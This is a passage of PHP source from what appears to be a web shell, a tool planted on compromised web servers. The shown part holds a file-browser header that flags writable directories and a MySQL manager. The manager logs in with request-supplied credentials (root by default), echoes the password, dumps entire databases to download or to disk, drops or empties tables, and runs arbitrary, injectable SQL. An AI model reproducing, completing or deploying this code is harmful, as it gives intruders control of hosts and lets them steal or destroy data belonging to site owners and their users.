echo "<p class=fleft>";  
$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));  
$i = 0;  
foreach($pd as $b) {  
  $t = ""; $j = 0;  
  foreach ($e as $r) {  
    $t.= $r.DIRECTORY_SEPARATOR;  
    if ($j == $i) { break; }  
    $j++;  
  }  
  echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=yellow>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";  
  $i++;  
}  
echo " - ";  
if (is_writable($d)) {  
  $wd = TRUE;  
  $wdt = "<font color=#00FF00>[OK]</font>";  
  echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";  
}  
else {  
  $wd = FALSE;  
  $wdt = "<font color=red>[Read-Only]</font>";  
  echo "<b>".view_perms_color($d)."</b>";  
}  
?>  
</p>  
<div class=fright>  
<form method="POST"><input type=hidden name=act value="ls">  
Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">  
</form>  
</div>  
</td></tr></table>  
<?php  
//Information Table  
echo "<table id=maininfo><tr><td width=\"100%\">
";  
//Action  
if ($act == "") { $act = $dspact = "ls"; }  
if ($act == "phpini" ) { get_phpini(); }  
if ($act == "sql") {  
  $sql_surl = $surl."act=sql";  
  if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}  
  if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}  
  if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}  
  if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}  
  if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}  
  $sql_surl .= "&";  
  echo "<h4>Attention! SQL-Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".  
       "<table>".  
       "<tr><td width=\"100%\" colspan=2 class=barheader>";  
  if ($sql_server) {  
    $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);  
    $err = mysql_smarterror();  
    @mysql_select_db($sql_db,$sql_sock);  
    if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}  
  }  
  else {$sql_sock = FALSE;}  
  echo ".: SQL Manager :.<br>";  
  if (!$sql_sock) {  
    if (!$sql_server) {echo "NO CONNECTION";}  
    else {echo "Can't connect! ".$err;}  
  }  
  else {  
    $sqlquicklaunch = array();  
    $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");  
    $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));  
    $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");  
    $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");  
    $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");  
    $sqlquicklaunch[] = array("Logout",$surl."act=sql");  
    echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";  
    if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}  
  }  
  echo "</td></tr><tr>";  
  if (!$sql_sock) {  
    echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";  
    echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";  
  }  
  else {  
    //Start left panel  
    if (!empty($sql_db)) {  
      ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>  
      <?php  
      $result = mysql_list_tables($sql_db);  
      if (!$result) {echo mysql_smarterror();}  
      else {  
        echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";  
        $c = 0;  
        while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}  
        if (!$c) {echo "No tables found in database.";}  
      }  
    }  
    else {  
      ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>  
      <?php  
      $result = mysql_list_dbs($sql_sock);  
      if (!$result) {echo mysql_smarterror();}  
      else {  
        ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">  
        <?php  
        $c = 0;  
        $dbs = "";  
        while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}  
        echo "<option value=\"\">Databases (".$c.")</option>";  
        echo $dbs;  
      }  
      ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>  
      <?php  
    }  
    //End left panel  
    echo "</td><td width=\"100%\">";  
    //Start center panel  
    $diplay = TRUE;  
    if ($sql_db) {  
      if (!is_numeric($c)) {$c = 0;}  
      if ($c == 0) {$c = "no";}  
      echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";  
      if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}  
      echo "</b></center>";  
      $acts = array("","dump");  
      if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}  
      elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` 
";} $sql_act = "query";}  
      elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}  
      elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}  
      elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}  
      elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}  
      elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}  
      elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}  
      elseif ($sql_tbl_act == "insert") {  
        if ($sql_tbl_insert_radio == 1) {  
          $keys = "";  
          $akeys = array_keys($sql_tbl_insert);  
          foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}  
          if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}  
          $values = "";  
          $i = 0;  
          foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}  
          if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}  
          $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";  
          $sql_act = "query";  
          $sql_tbl_act = "browse";  
        }  
        elseif ($sql_tbl_insert_radio == 2) {  
          $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);  
          $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";  
          $result = mysql_query($sql_query) or print(mysql_smarterror());  
          $result = mysql_fetch_array($result, MYSQL_ASSOC);  
          $sql_act = "query";  
          $sql_tbl_act = "browse";  
        }  
      }  
      if ($sql_act == "query") {  
        echo "<hr size=\"1\" noshade>";  
        if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}  
        if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}  
        if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}  
      }  
      if (in_array($sql_act,$acts)) {  
        ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>  
        <form action="<?php echo $surl; ?>">  
        <input type="hidden" name="act" value="sql">  
        <input type="hidden" name="sql_act" value="newtbl">  
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">  
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">  
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">  
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">  
        <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">  
        <input type="text" name="sql_newtbl" size="20">  
        <input type="submit" value="Create">  
        </form></td>  
        <td width="30%" height="1"><b>Dump DB:</b>  
        <form action="<?php echo $surl; ?>">  
        <input type="hidden" name="act" value="sql">  
        <input type="hidden" name="sql_act" value="dump">  
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">  
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">  
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">  
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>  
        <?php  
        if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}  
        if ($sql_act == "newtbl") {  
          echo "<b>";  
          if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {  
            echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";  
          }  
          else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}  
        }  
        elseif ($sql_act == "dump") {  
          if (empty($submit)) {  
            $diplay = FALSE;  
            echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";  
            echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";  
            $v = join (";",$dmptbls);  
            echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";  
            if ($dump_file) {$tmp = $dump_file;}  
            else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}  
            echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";  
            echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";  
            echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";  
            echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";  
            echo "</form>";  
          }  
          else {  
            $diplay = TRUE;  
            $set = array();  
            $set["sock"] = $sql_sock;  
            $set["db"] = $sql_db;  
            $dump_out = "download";  
            $set["print"] = 0;  
            $set["nl2br"] = 0;  
            $set[""] = 0;  
            $set["file"] = $dump_file;  
            $set["add_drop"] = TRUE;  
            $set["onlytabs"] = array();  
            if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}  
            $ret = mysql_dump($set);  
            if ($sql_dump_download) {  
              @ob_clean();  
              header("Content-type: application/octet-stream");  
              header("Content-length: ".strlen($ret));  
              header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");  
              echo $ret;  
              exit;  
            }  
            elseif ($sql_dump_savetofile) {  
              $fp = fopen($sql_dump_file,"w");  
              if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}  
              else {  
                fwrite($fp,$ret);  
                fclose($fp);  
                echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";  
              }  
            }  
            else {echo "<b>Dump: nothing to do!</b>";}  
          }  
        }  
        if ($diplay) {  
    if (!empty($sql_tbl)) {  
      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}  
      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");  
      $count_row = mysql_fetch_array($count);  
      mysql_free_result($count);  
      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");  
      $tbl_struct_fields = array();  
      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}  
      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}  
      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}  
      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}  
      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}  
      $perpage = $sql_tbl_le - $sql_tbl_ls;  
      if (!is_numeric($perpage)) {$perpage = 10;}  
      $numpages = $count_row[0]/$perpage;  
      $e = explode(" ",$sql_order);  
      if (count($e) == 2) {  
        if ($e[0] == "d") {$asc_desc = "DESC";}  
        else {$asc_desc = "ASC";}  
        $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";  
      }  
      else {$v = "";}  
      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";  
      $result = mysql_query($query) or print(mysql_smarterror());  
      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";  
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";  
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";  
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";  
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";  
      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}  
      if ($sql_tbl_act == "insert") {  
        if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}  
        if (!empty($sql_tbl_insert_radio)) {  } //Not Ready  
        else {  
          echo "<br><br><b>Inserting row into table:</b><br>";  
          if (!empty($sql_tbl_insert_q)) {  
            $sql_query = "SELECT * FROM `".$sql_tbl."`";  
            $sql_query .= " WHERE".$sql_tbl_insert_q;  
            $sql_query .= " LIMIT 1;";  
            $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());  
            $values = mysql_fetch_assoc($result);  
            mysql_free_result($result);  
          }  
          else {$values = array();}  
          echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";  
          foreach ($tbl_struct_fields as $field) {  
            $name = $field["Field"];  
            if (empty($sql_tbl_insert_q)) {$v = "";}  
            echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";  
            $i++;  
          }  
          echo "</table><br>";  
          echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";  
          if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}  
          echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";  
        }  
      }  
      if ($sql_tbl_act == "browse") {  
        $sql_tbl_ls = abs($sql_tbl_ls);  
        $sql_tbl_le = abs($sql_tbl_le);  
        echo "<hr size=\"1\" noshade>";  
        echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";  
        $b = 0;  
        for($i=0;$i<$numpages;$i++) {  
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}  
          echo $i;  
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}  
          if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}  
          else {echo "&nbsp;";}  
        }  
        if ($i == 0) {echo "empty";}  
        echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";  
        echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";  
        echo "<tr>";  
        echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";  
        for ($i=0;$i<mysql_num_fields($result);$i++) {  
          $v = mysql_field_name($result,$i);  
          if ($e[0] == "a") {$s = "d"; $m = "asc";}  
          else {$s = "a"; $m = "desc";}  
          echo "<td>";  
          if (empty($e[0])) {$e[0] = "a";}  
          if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}  
          else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}  
          echo "</td>";  
        }  
      echo "<td><font color=\"green\"><b>Action</b></font></td>";  
      echo "</tr>";  
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {  
       echo "<tr>";  
       $w = "";  
       $i = 0;  
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}  
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}  
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";  
       $i = 0;  
       foreach ($row as $k=>$v)  
       {  
        $v = htmlspecialchars($v);  
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";}  
        echo "<td>".$v."</td>";  
        $i++;  
       }  
       echo "<td>";  
       echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";  
       echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";  
       echo "</td>";  
       echo "</tr>";  
      }  
      mysql_free_result($result);  
      echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";  
      echo "<option value=\"\">With selected:</option>";  
      echo "<option value=\"deleterow\">Delete</option>";  
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";  
     }  
    }  
    else {  
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);  
     if (!$result) {echo mysql_smarterror();}  
     else  
     {  
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";  
      $i = 0;  
      $tsize = $trows = 0;  
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))  
      {  
       $tsize += $row["Data_length"];  
       $trows += $row["Rows"];  
       $size = view_size($row["Data_length"]);  
       echo "<tr>";  
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";  
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";  
       echo "<td>".$row["Rows"]."</td>";  
       echo "<td>".$row["Type"]."</td>";  
       echo "<td>".$row["Create_time"]."</td>";  
       echo "<td>".$row["Update_time"]."</td>";  
       echo "<td>".$size."</td>";  
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";  
       echo "</tr>";  
       $i++;  
      }  
      echo "<tr bgcolor=\"000000\">";  
      echo "<td><center><b>+</b></center></td>";  
      echo "<td><center><b>".$i." table(s)</b></center></td>";  
      echo "<td><b>".$trows."</b></td>";  
      echo "<td>".$row[1]."</td>";  
      echo "<td>".$row[10]."</td>";  
      echo "<td>".$row[11]."</td>";  
      echo "<td><b>".view_size($tsize)."</b></td>";  
      echo "<td></td>";  
      echo "</tr>";  
      echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";  
      echo "<option value=\"\">With selected:</option>";  
      echo "<option value=\"tbldrop\">Drop</option>";  
      echo "<option value=\"tblempty\">Empty</option>";  
      echo "<option value=\"tbldump\">Dump</option>";  
      echo "<option value=\"tblcheck\">Check table</option>";  
